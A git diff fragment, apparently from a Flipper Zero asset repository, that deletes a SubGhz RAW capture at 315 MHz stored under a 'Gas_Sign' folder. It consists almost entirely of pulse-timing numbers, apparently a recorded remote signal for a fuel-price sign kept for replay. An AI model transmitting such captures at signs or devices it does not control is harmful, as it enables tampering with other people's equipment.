-358 123 -340 349 -132 331 -124 339 -126 371 -96 123 -3738 99 -358 137 -352 105 -368 325 -140 335 -128 349 -94 391 -104 357 -108 105 -360 -RAW_Data: 357 -106 351 -140 333 -124 109 -374 97 -360 125 -358 329 -122 121 -356 137 -336 127 -372 103 -362 347 -106 363 -106 341 -130 359 -92 121 -3746 97 -382 103 -360 103 -372 345 -106 339 -132 357 -94 391 -104 359 -106 105 -362 357 -106 351 -140 333 -124 109 -374 97 -362 123 -360 327 -124 121 -354 139 -336 127 -356 125 -340 349 -132 331 -124 339 -126 371 -96 123 -3740 99 -358 103 -384 105 -336 357 -140 335 -126 351 -94 391 -104 359 -106 105 -362 355 -106 353 -140 331 -124 109 -374 97 -362 123 -360 327 -122 143 -342 135 -332 123 -358 137 -358 353 -106 359 -108 335 -124 361 -104 139 -3704 103 -378 103 -336 125 -382 327 -124 353 -124 337 -130 337 -128 337 -128 93 -384 349 -104 337 -124 375 -94 121 -372 103 -368 125 -350 351 -104 141 -362 105 -338 129 -360 125 -340 349 -132 331 -124 339 -126 371 -96 123 -3734 99 -358 137 -354 107 -366 327 -140 335 -128 349 -94 391 -104 359 -106 107 -360 357 -106 351 -140 331 -124 109 -374 97 -362 123 -360 327 -122 121 -356 139 -334 127 -358 123 -340 351 -132 331 -124 337 -128 369 -96 125 -3736 99 -358 137 -352 105 -368 327 -140 337 -126 349 -94 391 -106 357 -108 105 -360 359 -104 351 -140 331 -124 109 -374 97 -360 125 -360 327 -122 143 -344 99 -366 123 -358 137 -360 351 -106 361 -106 335 -124 361 -104 139 -3708 101 -378 103 -336 123 -386 325 -126 349 -126 337 -128 339 -128 337 -126 93 -386 349 -102 337 -124 375 -94 121 -374 101 -368 125 -352 351 -102 141 -364 105 -336 129 -360 125 -340 349 -134 331 -124 337 -126 371 -96 123 -3736 97 -358 137 -354 105 -368 327 -140 335 -128 349 -94 391 -104 359 -106 105 -362 357 -106 351 -140 333 -122 109 -374 97 -362 123 -360 327 -124 121 -354 139 -336 125 -374 103 -360 349 -106 361 -108 339 -132 357 -94 121 -3744 99 -382 101 -360 105 -370 347 -106 339 -132 359 -92 391 -104 357 -108 105 -398 321 -104 353 -142 331 -124 109 -374 97 -362 123 -360 327 -122 123 -354 139 -334 127 -358 125 -338 351 -132 333 -122 339 -126 369 -98 123 -3734 97 -372 97 -372 95 -372 347 -126 337 -126 339 -128 337 -128 337 -124 125 -352 347 -132 333 -122 341 -126 123 -370 103 -366 93 -384 351 -104 141 -362 105 -336 129 -360 123 -340 349 -132 333 -122 339 -128 369 -96 125 -3734 99 -358 135 -354 107 -366 327 -142 335 -128 349 -94 391 -104 359 -106 105 -362 357 -106 351 -140 333 -122 109 -374 97 -360 125 -358 -RAW_Data: 327 -124 121 -354 139 -336 125 -358 125 -340 349 -134 331 -124 337 -126 371 -96 123 -3730 99 -394 101 -356 105 -370 327 -140 335 -128 351 -94 369 -130 337 -128 93 -368 367 -108 337 -128 353 -92 121 -374 103 -368 125 -352 351 -140 105 -362 105 -370 97 -360 125 -340 349 -134 331 -124 337 -126 371 -96 125 -3734 99 -358 137 -352 107 -366 327 -140 337 -126 351 -94 391 -104 357 -108 105 -360 357 -106 351 -142 331 -124 109 -374 95 -362 123 -360 327 -124 141 -344 135 -332 123 -358 135 -360 353 -104 361 -106 337 -124 359 -104 139 -3706 105 -370 97 -362 123 -360 327 -124 353 -140 361 -106 337 -128 347 -94 121 -374 351 -106 349 -140 333 -124 109 -374 97 -362 123 -340 349 -132 139 -362 105 -336 127 -356 123 -340 351 -132 331 -124 337 -128 369 -96 125 -3730 99 -392 103 -356 105 -368 327 -142 335 -128 349 -94 369 -128 339 -128 93 -368 363 -108 337 -130 353 -94 121 -374 101 -370 125 -352 351 -138 107 -362 105 -370 97 -360 125 -338 351 -132 333 -122 339 -128 369 -98 123 -3738 99 -358 103 -384 105 -368 325 -142 335 -128 349 -94 391 -104 357 -108 105 -360 357 -106 351 -140 333 -124 107 -376 97 -360 123 -360 327 -122 143 -342 135 -334 123 -358 135 -360 353 -106 359 -106 337 -124 359 -106 139 -3702 105 -372 97 -362 123 -360 327 -124 353 -140 359 -108 337 -128 347 -94 121 -374 351 -106 349 -142 331 -124 109 -374 97 -362 125 -370 317 -134 103 -398 105 -334 127 -356 93 -372 349 -132 331 -124 337 -128 369 -96 125 -3732 97 -374 95 -372 97 -372 347 -124 337 -128 337 -128 339 -126 337 -126 125 -352 347 -132 333 -122 341 -126 121 -372 103 -366 93 -384 351 -102 143 -362 105 -336 129 -360 125 -338 349 -134 331 -124 339 -126 369 -98 123 -3740 97 -360 101 -386 105 -338 355 -140 337 -126 351 -94 391 -104 357 -108 105 -360 359 -106 349 -140 333 -122 109 -374 97 -362 125 -360 327 -122 121 -356 137 -336 127 -356 123 -340 351 -132 331 -124 339 -128 369 -96 125 -3738 99 -358 103 -384 105 -368 325 -142 333 -128 349 -94 391 -104 359 -106 105 -362 357 -106 351 -140 333 -122 109 -374 97 -362 123 -360 327 -124 121 -354 139 -336 125 -358 125 -358 327 -124 369 -94 371 -96 369 -98 125 -3738 99 -358 139 -336 135 -332 351 -140 333 -126 349 -94 369 -128 339 -128 93 -368 365 -108 337 -128 353 -94 121 -374 103 -368 125 -352 351 -140 105 -362 105 -370 97 -360 125 -338 349 -134 -RAW_Data: 333 -122 339 -128 369 -96 125 -3736 99 -360 135 -352 105 -368 325 -142 335 -128 349 -94 391 -104 359 -106 107 -360 359 -104 351 -140 331 -124 109 -374 97 -362 123 -360 327 -122 143 -344 99 -368 123 -358 135 -360 353 -106 359 -108 335 -122 361 -104 139 -3700 93 -384 101 -368 93 -396 329 -134 329 -124 359 -106 357 -108 337 -126 141 -342 351 -140 339 -102 359 -94 121 -374 137 -334 125 -354 351 -138 107 -362 105 -370 97 -360 125 -360 325 -124 337 -128 369 -96 371 -96 125 -3734 99 -372 97 -370 95 -380 343 -126 337 -130 337 -126 339 -124 357 -104 143 -362 353 -106 359 -106 337 -124 143 -342 97 -362 123 -360 327 -124 121 -358 139 -334 127 -358 123 -340 349 -132 333 -122 339 -128 369 -96 125 -3730 97 -372 97 -372 129 -338 349 -124 337 -126 337 -130 337 -128 337 -126 125 -352 347 -132 333 -124 339 -128 121 -372 101 -368 123 -352 351 -102 143 -362 105 -370 97 -360 123 -340 351 -132 333 -122 339 -126 369 -98 123 -3732 97 -392 103 -356 105 -370 325 -142 335 -128 351 -94 369 -96 371 -128 93 -368 365 -106 339 -128 353 -94 121 -374 137 -332 125 -354 351 -138 107 -362 105 -370 97 -360 125 -338 351 -132 333 -122 339 -128 369 -96 125 -3732 99 -392 103 -354 107 -368 327 -140 335 -128 349 -94 369 -98 369 -96 127 -368 363 -108 337 -130 353 -92 121 -374 103 -368 125 -354 349 -104 141 -362 105 -370 97 -360 125 -340 349 -134 331 -124 337 -128 369 -96 125 -3730 97 -394 101 -356 107 -368 327 -140 335 -128 351 -94 369 -128 339 -128 93 -368 365 -108 337 -128 353 -94 121 -374 101 -370 125 -354 349 -104 141 -364 103 -338 129 -360 125 -340 349 -134 331 -124 337 -128 369 -96 125 -3738 99 -358 103 -384 105 -368 327 -140 335 -128 349 -94 391 -104 359 -106 105 -362 357 -106 351 -140 331 -124 109 -374 97 -360 125 -358 327 -124 141 -344 135 -332 123 -358 135 -360 353 -106 359 -108 335 -124 359 -106 diff --git a/assets/resources/subghz/Gas_Sign/S_gas.sub b/assets/resources/subghz/Gas_Sign/S_gas.sub deleted file mode 100644 index 3a7069207..000000000 --- a/assets/resources/subghz/Gas_Sign/S_gas.sub +++ /dev/null @@ -1,52 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 315000000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 355 -408 363 -630862 163 -356 123 -372 95 -372 317 -126 359 -124 337 -130 337 -128 337 -128 93 -388 317 -134 335 -124 343 -126 121 -372 101 -368 93 -382 319 -134 105 -398 103 -334 373 -106 337 -130 97 -384 93 -380 351 -104 347 -138 103 -3696 131 -358 101 -358 107 -368 333 -140 337 -126 321 -126 369 -128 337 -130 93 -370 329 -140 337 -128 319 -126 121 -372 101 -368 93 -384 351 -104 139 -362 105 -338 373 -106 337 -130 97 -384 93 -380 351 -104 347 -138 105 -3694 131 -356 101 -394 105 -336 367 -106 337 -128 353 -94 369 -128 337 -130 93 -368 363 -108 337 -128 353 -92 121 -374 101 -370 125 -350 351 -102 143 -362 105 -336 373 -108 337 -130 97 -384 93 -378 353 -104 349 -138 103 -3698 131 -358 103 -358 105 -370 365 -108 335 -128 351 -94 369 -98 369 -96 127 -370 329 -140 337 -126 351 -94 121 -374 101 -368 123 -352 351 -104 141 -362 105 -336 373 -108 337 -130 97 -382 93 -380 353 -104 349 -140 103 -3702 97 -394 103 -358 105 -370 327 -140 337 -126 351 -94 369 -96 369 -98 125 -368 363 -108 335 -128 351 -94 121 -374 101 -370 125 -350 351 -102 143 -362 105 -336 373 -108 337 -130 97 -382 93 -380 353 -104 349 -140 103 -3696 133 -358 101 -358 143 -334 363 -108 337 -128 351 -94 369 -96 369 -98 125 -368 363 -108 337 -128 351 -94 121 -374 101 -368 125 -350 351 -104 141 -362 105 -338 373 -108 337 -130 97 -382 91 -380 353 -106 347 -140 103 -3706 99 -392 103 -358 107 -368 327 -140 337 -126 365 -104 361 -106 343 -102 137 -346 345 -126 337 -130 337 -126 127 -350 93 -372 129 -340 347 -124 131 -348 141 -334 365 -108 337 -128 97 -372 105 -370 365 -106 337 -128 97 -3720 133 -368 103 -360 103 -378 321 -142 339 -100 363 -92 391 -104 357 -108 105 -360 357 -106 351 -140 333 -124 107 -374 97 -362 123 -360 327 -124 143 -344 99 -362 351 -140 333 -94 125 -366 139 -336 365 -108 337 -128 97 -3718 131 -356 95 -370 129 -340 347 -124 351 -124 337 -128 337 -130 337 -126 93 -384 351 -102 337 -124 343 -126 121 -372 101 -368 91 -384 351 -102 143 -362 105 -336 373 -106 339 -128 99 -382 91 -380 353 -106 347 -140 103 -3706 99 -392 103 -358 107 -368 327 -140 337 -126 351 -94 391 -104 357 -108 105 -360 359 -106 347 -140 331 -92 139 -342 129 -360 123 -360 327 -124 143 -342 99 -366 349 -140 333 -94 127 -366 139 -334 367 -106 337 -130 97 -3726 99 -364 137 -360 103 -378 321 -140 -RAW_Data: 341 -100 363 -92 369 -128 337 -128 95 -366 367 -92 347 -134 333 -124 143 -342 101 -364 123 -360 329 -122 141 -342 135 -332 351 -140 335 -126 95 -368 139 -334 367 -106 337 -130 97 -3716 131 -356 101 -394 105 -336 369 -106 337 -128 353 -94 369 -130 337 -128 95 -368 363 -108 337 -128 353 -92 123 -372 103 -368 125 -350 351 -104 141 -362 105 -338 373 -108 337 -130 97 -384 93 -378 353 -106 347 -140 103 -3704 99 -392 103 -358 107 -368 327 -142 335 -128 349 -94 369 -98 369 -96 127 -368 363 -108 337 -128 351 -94 121 -374 101 -368 125 -352 351 -102 143 -362 105 -336 375 -106 337 -130 97 -382 93 -380 353 -106 347 -140 103 -3704 99 -394 101 -358 107 -368 329 -140 337 -128 349 -94 369 -96 369 -128 95 -368 363 -108 337 -128 353 -94 121 -372 103 -368 125 -352 349 -104 141 -364 103 -338 375 -106 339 -128 99 -382 91 -380 353 -104 349 -140 105 -3696 131 -358 101 -358 143 -334 367 -108 337 -128 351 -94 369 -96 369 -130 93 -368 363 -108 337 -128 353 -94 121 -374 101 -368 125 -352 351 -138 107 -362 105 -338 373 -106 337 -130 97 -382 93 -380 353 -104 349 -140 103 -3700 131 -356 103 -356 143 -334 367 -108 339 -128 351 -94 369 -96 371 -128 93 -370 363 -108 337 -128 351 -94 121 -374 101 -368 125 -352 351 -104 141 -362 105 -336 375 -106 337 -130 99 -382 105 -370 345 -106 339 -130 133 -3694 131 -358 103 -356 143 -332 365 -108 337 -128 353 -94 369 -128 337 -130 93 -368 363 -108 337 -128 353 -94 121 -374 101 -368 125 -352 351 -102 141 -364 103 -338 375 -106 337 -130 97 -382 93 -380 353 -106 347 -140 103 -3706 97 -394 101 -358 107 -368 329 -140 337 -128 351 -94 369 -96 371 -96 125 -370 363 -108 337 -128 351 -94 121 -374 101 -368 125 -352 351 -104 141 -362 105 -336 375 -106 339 -128 99 -382 91 -380 353 -106 349 -140 103 -3706 99 -392 103 -358 105 -370 327 -142 335 -128 349 -94 391 -104 359 -106 105 -362 357 -106 349 -140 331 -124 107 -342 129 -362 123 -360 327 -122 121 -352 139 -334 369 -108 339 -128 99 -382 91 -380 353 -106 349 -140 103 -3702 133 -356 103 -358 105 -370 363 -108 337 -128 351 -94 369 -128 337 -130 93 -368 365 -106 337 -128 353 -94 121 -374 101 -368 125 -354 349 -104 141 -364 103 -338 375 -106 339 -128 99 -382 91 -380 353 -106 349 -140 103 -3706 97 -394 103 -358 105 -370 327 -140 337 -128 349 -94 391 -104 359 -106 105 -362 357 -106 -RAW_Data: 349 -140 331 -124 107 -342 129 -360 125 -360 327 -122 143 -342 101 -364 351 -140 333 -126 95 -366 139 -334 367 -106 339 -128 97 -3718 131 -358 93 -370 129 -340 347 -124 353 -124 337 -128 337 -130 337 -126 127 -350 351 -102 369 -92 377 -94 121 -372 101 -368 93 -384 351 -104 141 -362 105 -336 375 -106 339 -128 99 -382 91 -380 353 -106 349 -140 103 -3706 97 -394 103 -358 105 -370 327 -142 335 -128 349 -94 391 -104 359 -108 105 -360 357 -106 351 -138 331 -124 109 -342 129 -360 125 -358 329 -122 121 -352 125 -342 385 -104 343 -138 103 -358 105 -370 327 -140 337 -128 95 -3744 97 -350 137 -360 105 -338 375 -108 337 -130 355 -94 369 -96 369 -98 125 -368 363 -108 337 -128 353 -94 121 -374 101 -368 125 -354 349 -104 141 -362 105 -336 375 -108 337 -130 97 -384 91 -380 353 -106 347 -140 103 -3704 133 -360 101 -358 107 -370 329 -140 337 -128 351 -94 369 -96 371 -96 125 -368 365 -106 337 -128 351 -94 121 -374 101 -368 125 -354 351 -102 143 -362 105 -336 375 -106 339 -130 97 -382 91 -380 353 -106 349 -140 103 -3704 131 -360 103 -358 107 -368 329 -142 337 -126 351 -94 371 -96 369 -96 127 -368 363 -108 337 -128 353 -94 121 -372 103 -368 125 -352 351 -102 143 -362 105 -336 375 -106 339 -128 99 -382 91 -380 353 -106 349 -140 103 -3708 99 -392 103 -358 105 -370 327 -140 337 -128 349 -94 391 -104 359 -106 105 -362 357 -106 349 -140 331 -124 109 -342 127 -360 125 -360 327 -122 143 -344 99 -364 351 -140 333 -126 95 -366 139 -334 367 -108 337 -128 99 -3724 131 -368 103 -362 103 -378 321 -142 339 -102 361 -94 389 -106 357 -108 105 -350 343 -126 369 -98 369 -96 125 -372 93 -380 103 -394 315 -142 105 -360 105 -360 351 -104 361 -108 141 -344 95 -380 343 -126 337 -130 93 -3734 99 -392 103 -342 135 -334 353 -140 333 -126 347 -94 369 -98 369 -96 127 -368 363 -108 337 -128 353 -94 121 -372 103 -368 125 -352 351 -104 141 -362 105 -336 375 -106 337 -130 131 -350 91 -382 353 -104 349 -140 103 -3706 99 -394 101 -358 107 -368 329 -140 337 -128 351 -94 391 -104 357 -108 105 -362 357 -106 349 -140 331 -124 107 -374 97 -360 125 -360 327 -122 145 -342 99 -364 351 -140 333 -126 95 -366 139 -334 367 -108 337 -128 97 -3720 131 -358 93 -370 129 -340 347 -124 353 -124 337 -128 339 -128 337 -126 127 -350 351 -102 369 -92 377 -94 121 -372 103 -368 91 -384 351 -104 -RAW_Data: 141 -362 105 -338 373 -108 337 -130 97 -382 93 -380 353 -106 347 -140 103 -3706 99 -372 127 -340 129 -340 347 -124 355 -140 361 -106 337 -94 357 -138 107 -344 353 -140 335 -126 349 -94 121 -374 101 -368 125 -354 349 -104 141 -364 103 -338 375 -106 339 -128 99 -382 93 -378 355 -104 349 -140 103 -3700 131 -356 103 -394 105 -334 367 -108 337 -128 353 -94 369 -128 337 -130 93 -368 365 -106 339 -128 353 -94 121 -372 103 -368 125 -354 349 -104 141 -362 105 -338 373 -108 339 -128 99 -380 93 -380 353 -106 349 -140 103 -3706 99 -392 103 -358 105 -370 329 -140 337 -128 351 -94 391 -104 359 -106 105 -362 357 -106 349 -140 331 -124 107 -374 97 -360 125 -360 327 -122 121 -352 125 -342 385 -104 345 -138 103 -356 105 -370 327 -142 335 -128 97 -3716 129 -354 137 -360 105 -336 371 -108 337 -130 353 -94 369 -128 337 -130 93 -368 363 -108 337 -128 355 -94 121 -372 103 -368 125 -352 351 -104 141 -362 105 -338 373 -108 337 -130 99 -382 91 -382 353 -104 349 -140 103 -3704 131 -358 101 -358 141 -334 365 -108 337 -128 351 -94 369 -130 337 -128 93 -368 365 -108 337 -128 353 -94 121 -374 101 -368 125 -354 349 -104 141 -364 103 -338 375 -106 339 -128 99 -382 105 -370 345 -106 371 -100 133 -3696 131 -358 101 -358 143 -334 363 -108 337 -128 353 -92 369 -128 339 -128 93 -368 365 -108 337 -128 353 -94 121 -374 103 -368 125 -352 351 -104 141 -362 105 -336 375 -108 337 -130 97 -384 91 -380 355 -104 349 -140 103 -3702 131 -358 103 -394 105 -334 367 -106 339 -128 351 -94 369 -96 371 -128 93 -368 365 -106 337 -130 351 -94 121 -374 101 -368 125 -354 351 -102 141 -364 105 -336 375 -106 337 -130 97 -384 105 -370 345 -106 371 -100 133 -3694 131 -356 103 -394 105 -334 367 -106 337 -130 353 -94 367 -130 337 -128 93 -368 367 -106 337 -128 353 -94 121 -374 103 -368 125 -352 351 -104 141 -362 105 -338 373 -108 337 -130 99 -382 91 -382 353 -104 349 -140 105 -3696 131 -354 103 -394 103 -336 371 -108 337 -130 353 -94 367 -130 337 -128 93 -368 367 -108 337 -128 353 -94 121 -372 103 -368 125 -352 351 -104 141 -362 105 -338 373 -108 337 -130 99 -382 91 -380 353 -106 349 -140 103 -3702 133 -356 103 -358 141 -336 365 -106 337 -130 351 -94 369 -128 337 -130 93 -368 363 -108 339 -128 351 -94 121 -374 101 -370 125 -352 351 -104 141 -362 105 -336 375 -106 339 -130 97 -382 93 -380 -RAW_Data: 353 -106 349 -140 103 -3706 99 -372 127 -340 129 -340 347 -124 353 -140 361 -106 337 -126 363 -104 107 -344 353 -140 335 -126 349 -94 121 -374 101 -368 125 -352 351 -104 141 -362 105 -336 377 -106 339 -130 97 -382 93 -380 353 -106 347 -140 103 -3708 129 -340 127 -340 129 -340 347 -124 353 -140 361 -108 335 -96 393 -104 107 -342 355 -140 335 -128 349 -94 121 -372 103 -368 125 -352 349 -104 141 -364 103 -338 375 -106 339 -128 99 -382 91 -382 353 -104 349 -140 105 -3704 133 -360 101 -358 107 -370 363 -106 337 -128 351 -94 391 -104 359 -108 105 -360 357 -106 349 -140 331 -124 109 -374 97 -360 125 -360 325 -124 121 -352 125 -342 385 -104 345 -138 101 -360 105 -370 327 -140 337 -126 97 -3716 131 -352 137 -360 105 -336 373 -106 339 -130 353 -94 369 -98 369 -128 93 -368 365 -108 337 -128 353 -94 121 -374 101 -368 125 -354 349 -104 141 -364 103 -338 375 -106 339 -128 99 -382 105 -370 345 -106 373 -98 133 -3692 131 -354 101 -394 105 -336 371 -108 337 -130 353 -94 369 -96 371 -128 93 -368 365 -106 339 -128 351 -94 121 -374 103 -368 125 -352 351 -104 141 -362 105 -338 375 -106 339 -130 97 -382 93 -380 353 -104 349 -140 103 -3706 133 -358 103 -358 105 -370 365 -106 337 -128 351 -94 391 -104 359 -106 105 -362 357 -106 349 -140 331 -124 107 -376 95 -360 125 -360 327 -122 121 -356 139 -334 371 -106 339 -128 99 -382 105 -370 345 -106 339 -132 133 -3696 131 -358 101 -358 141 -336 367 -106 337 -128 353 -92 371 -96 369 -130 93 -368 363 -108 337 -130 351 -94 121 -374 101 -370 123 -354 351 -102 143 -362 105 -336 375 -106 337 -130 131 -348 93 -380 353 -106 351 -140 103 -3702 131 -358 103 -394 105 -334 367 -108 337 -128 351 -94 369 -130 337 -128 93 -368 363 -108 337 -130 353 -94 121 -374 101 -368 125 -354 351 -102 143 -362 105 -336 375 -106 339 -130 129 -350 91 -382 353 -104 349 -140 105 -3706 131 -358 101 -358 143 -334 363 -108 337 -128 353 -94 369 -96 371 -128 93 -368 365 -106 337 -130 351 -94 121 -374 103 -368 125 -352 351 -104 141 -362 105 -336 375 -106 339 -130 129 -350 105 -368 347 -106 373 -98 135 -3698 131 -340 129 -338 129 -340 347 -124 355 -140 359 -108 337 -126 363 -104 107 -344 353 -140 335 -126 349 -94 121 -374 101 -368 125 -352 351 -104 141 -362 105 -338 373 -108 337 -130 131 -348 93 -380 353 -104 349 -142 103 -3704 131 -358 103 -358 141 -336 -RAW_Data: 363 -108 337 -128 353 -94 369 -128 337 -130 93 -368 365 -108 337 -128 353 -94 121 -374 101 -368 125 -354 349 -104 141 -364 103 -338 375 -106 339 -128 99 -382 93 -380 353 -104 349 -140 105 -3704 133 -360 101 -358 107 -370 363 -106 337 -128 351 -94 369 -98 369 -128 95 -368 363 -108 337 -130 351 -94 121 -374 101 -368 125 -354 351 -102 141 -364 105 -336 375 -106 339 -130 129 -350 93 -380 353 -106 349 -140 103 -3708 131 -360 101 -358 107 -370 329 -140 337 -128 351 -94 391 -104 359 -106 105 -362 357 -106 349 -140 331 -124 109 -374 97 -360 123 -360 327 -124 121 -354 139 -336 369 -106 339 -128 131 -350 105 -370 345 -106 373 -98 133 -3696 133 -358 101 -358 141 -336 365 -108 337 -128 351 -94 369 -128 339 -128 93 -368 365 -106 339 -128 353 -94 121 -374 101 -368 125 -354 351 -102 143 -362 105 -336 375 -106 339 -130 129 -350 93 -380 353 -106 349 -140 103 -3706 131 -358 101 -358 143 -334 363 -108 337 -128 353 -94 369 -128 339 -128 93 -368 365 -106 337 -130 353 -92 121 -374 103 -368 125 -352 351 -104 141 -362 105 -338 375 -106 339 -130 97 -382 105 -370 347 -106 339 -130 133 -3696 131 -356 101 -396 105 -334 367 -108 337 -128 353 -94 391 -104 357 -108 105 -360 357 -106 351 -142 331 -124 107 -376 95 -362 123 -360 327 -124 121 -354 139 -336 369 -106 339 -128 99 -382 93 -380 353 -104 351 -138 105 -3698 131 -354 103 -394 105 -336 371 -106 339 -128 353 -94 369 -130 337 -128 93 -368 365 -106 339 -128 353 -94 121 -374 103 -368 125 -352 351 -104 141 -362 105 -338 375 -106 339 -130 97 -382 105 -370 345 -106 371 -100 133 -3696 131 -358 101 -394 105 -334 367 -108 337 -130 351 -94 391 -104 359 -106 105 -362 357 -106 351 -140 331 -124 107 -376 95 -360 125 -360 327 -122 121 -356 139 -334 371 -106 339 -128 99 -382 93 -380 353 -104 349 -140 105 -3704 133 -360 101 -358 107 -370 363 -108 337 -128 351 -94 369 -96 371 -128 93 -368 365 -106 337 -130 351 -94 121 -374 103 -368 125 -352 351 -104 141 -362 105 -336 375 -108 337 -130 131 -350 105 -370 345 -106 371 -100 133 -3694 131 -356 101 -394 107 -334 369 -108 337 -128 353 -94 369 -128 337 -128 95 -366 367 -106 337 -130 353 -94 121 -374 101 -370 125 -352 351 -104 141 -362 105 -336 377 -106 339 -128 99 -382 105 -370 345 -106 373 -98 133 -3690 131 -352 137 -360 105 -336 373 -108 337 -130 353 -94 369 -130 337 -128 95 -366 -RAW_Data: 367 -106 337 -130 353 -92 121 -374 103 -368 125 -354 349 -104 141 -362 105 -338 373 -108 337 -130 131 -348 105 -370 345 -106 373 -100 135 -3694 131 -356 101 -396 105 -334 369 -106 337 -130 353 -94 367 -130 337 -128 93 -368 367 -106 337 -130 353 -94 121 -374 101 -368 125 -354 351 -102 143 -362 105 -336 375 -106 339 -130 129 -350 105 -368 347 -106 373 -98 135 -3690 131 -352 137 -360 105 -336 373 -106 337 -130 355 -92 369 -130 337 -128 93 -368 365 -108 337 -130 355 -92 121 -374 101 -370 125 -352 351 -104 141 -362 105 -338 375 -106 339 -128 131 -350 91 -382 353 -104 349 -140 105 -3704 133 -358 101 -358 141 -334 365 -106 339 -128 353 -92 369 -130 337 -128 95 -366 367 -106 339 -128 353 -94 121 -374 101 -368 125 -354 351 -102 143 -362 105 -336 375 -106 339 -130 129 -350 91 -382 353 -104 349 -140 105 -3704 131 -358 101 -394 107 -334 367 -106 339 -128 353 -94 369 -96 371 -96 125 -368 365 -106 339 -128 351 -94 121 -374 103 -368 125 -352 351 -104 141 -362 105 -338 375 -106 339 -130 131 -348 93 -380 353 -106 349 -140 103 -3708 131 -360 103 -358 105 -370 363 -108 335 -128 351 -94 391 -106 357 -108 105 -360 359 -104 351 -140 331 -124 109 -374 97 -360 123 -360 327 -124 121 -354 139 -336 369 -106 339 -130 97 -382 93 -380 353 -104 349 -140 105 -3704 133 -358 101 -358 141 -334 365 -108 337 -128 353 -94 367 -130 337 -128 93 -368 367 -106 337 -130 353 -94 121 -374 101 -368 125 -354 351 -102 143 -362 105 -336 375 -108 337 -130 131 -348 105 -368 347 -140 339 -100 135 -3694 131 -356 103 -394 105 -334 369 -106 337 -130 353 -92 369 -128 339 -128 93 -368 365 -108 337 -130 353 -94 121 -374 101 -370 125 -352 351 -104 141 -362 105 -336 375 -108 337 -130 131 -348 93 -380 353 -104 351 -140 105 -3704 131 -356 103 -394 105 -336 365 -108 337 -128 353 -94 369 -98 369 -128 95 -368 363 -108 337 -130 351 -94 121 -374 101 -370 125 -352 351 -104 141 -362 105 -336 375 -106 339 -130 131 -346 105 -370 363 -108 337 -128 95 -3744 97 -348 127 -372 95 -372 349 -122 347 -94 369 -128 337 -130 337 -126 93 -388 347 -102 335 -124 373 -96 121 -372 101 -368 123 -352 351 -104 141 -362 105 -336 375 -108 337 -130 131 -348 93 -380 353 -106 349 -142 103 -3706 131 -358 103 -356 143 -334 365 -106 337 -130 351 -94 369 -130 337 -128 93 -368 367 -108 337 -128 351 -94 121 -374 101 -370 125 -352 -RAW_Data: 351 -102 143 -362 105 -368 343 -108 337 -130 131 -348 93 -380 353 -104 351 -140 105 -3706 131 -358 103 -356 143 -334 365 -106 337 -130 351 -94 369 -130 337 -128 93 -368 365 -108 337 -128 353 -94 121 -374 103 -368 125 -352 351 -104 141 -362 105 -338 375 -106 337 -130 131 -348 105 -370 347 -106 371 -100 135 -3696 133 -356 103 -394 105 -336 367 -106 337 -128 353 -94 369 -128 337 -130 93 -368 363 -108 337 -128 355 -94 121 -372 103 -368 125 -352 351 -140 105 -362 105 -338 375 -106 339 -130 129 -350 91 -382 353 -104 351 -140 105 -3706 131 -358 101 -358 143 -334 363 -108 337 -128 353 -94 369 -128 339 -128 93 -368 365 -108 337 -130 351 -94 121 -374 101 -370 125 -352 351 -104 141 -362 105 -336 377 -106 337 -130 131 -348 105 -370 345 -142 337 -100 135 -3694 131 -356 101 -394 105 -334 371 -106 337 -130 353 -94 369 -130 337 -128 95 -366 365 -106 339 -128 355 -94 121 -372 103 -368 125 -352 351 -104 141 -362 105 -338 375 -106 337 -130 133 -346 105 -368 365 -108 335 -128 97 -3716 131 -360 93 -372 129 -338 349 -124 353 -124 339 -128 337 -128 337 -128 125 -350 351 -140 333 -92 377 -96 121 -372 101 -370 125 -350 351 -104 141 -362 105 -338 375 -106 339 -130 97 -382 93 -380 353 -106 349 -140 103 -3706 131 -340 129 -338 129 -340 347 -124 387 -104 361 -108 337 -128 363 -106 107 -342 355 -140 335 -126 349 -94 123 -372 103 -368 125 -352 351 -104 141 -362 105 -336 377 -106 337 -130 131 -350 105 -370 345 -106 373 -98 133 -3696 133 -354 103 -394 105 -336 367 -108 337 -128 353 -94 369 -130 337 -128 93 -368 367 -106 337 -128 353 -94 121 -374 103 -368 125 -352 351 -104 141 -362 105 -338 375 -106 337 -130 133 -346 105 -370 363 -108 335 -128 97 -3728 131 -368 103 -362 103 -378 321 -142 341 -100 363 -92 369 -128 337 -130 93 -368 367 -92 347 -134 335 -122 143 -342 135 -332 123 -374 317 -134 141 -344 93 -366 351 -126 337 -124 123 -344 129 -372 315 -126 355 -124 91 -3746 99 -382 95 -370 97 -372 347 -124 347 -94 391 -104 359 -108 335 -124 145 -340 347 -106 339 -130 359 -92 139 -342 129 -358 125 -340 349 -134 103 -396 105 -336 367 -108 337 -130 97 -382 91 -382 353 -104 349 -140 103 -3702 131 -354 103 -394 105 -334 371 -108 337 -130 353 -94 369 -130 337 -128 93 -368 365 -108 337 -128 353 -94 121 -374 103 -368 125 -352 351 -104 141 -362 105 -370 343 -108 337 -130 97 -384 -RAW_Data: 91 -380 355 -104 349 -140 103 -3706 131 -358 103 -358 141 -336 363 -108 337 -130 351 -94 369 -130 337 -128 93 -368 367 -106 337 -128 355 -94 121 -372 103 -368 125 -352 351 -104 141 -362 105 -338 375 -108 337 -130 129 -350 91 -382 353 -104 351 -140 105 -3708 131 -360 103 -358 105 -370 363 -108 335 -128 351 -94 369 -130 337 -128 95 -368 363 -108 337 -128 355 -92 123 -374 101 -368 125 -354 349 -104 141 -364 103 -338 375 -106 339 -128 133 -346 105 -370 363 -108 337 -128 95 -3728 131 -368 105 -360 103 -380 321 -124 359 -104 335 -124 373 -94 371 -96 123 -368 343 -124 357 -104 335 -124 123 -356 139 -336 127 -356 349 -140 105 -362 105 -370 343 -106 339 -130 131 -346 105 -370 365 -106 337 -128 97 -3718 133 -352 135 -360 105 -336 373 -108 337 -130 355 -94 389 -104 359 -106 105 -362 357 -106 351 -140 333 -124 107 -374 97 -362 123 -360 327 -124 121 -354 139 -336 369 -106 339 -130 131 -348 93 -380 353 -106 349 -140 103 -3698 131 -350 137 -360 105 -336 377 -106 339 -128 355 -94 369 -128 339 -128 93 -368 363 -108 337 -130 355 -92 123 -372 103 -368 125 -352 353 -104 141 -362 105 -336 375 -108 339 -128 99 -382 91 -380 353 -106 349 -140 103 -3704 131 -356 103 -394 105 -336 367 -108 337 -128 353 -94 369 -128 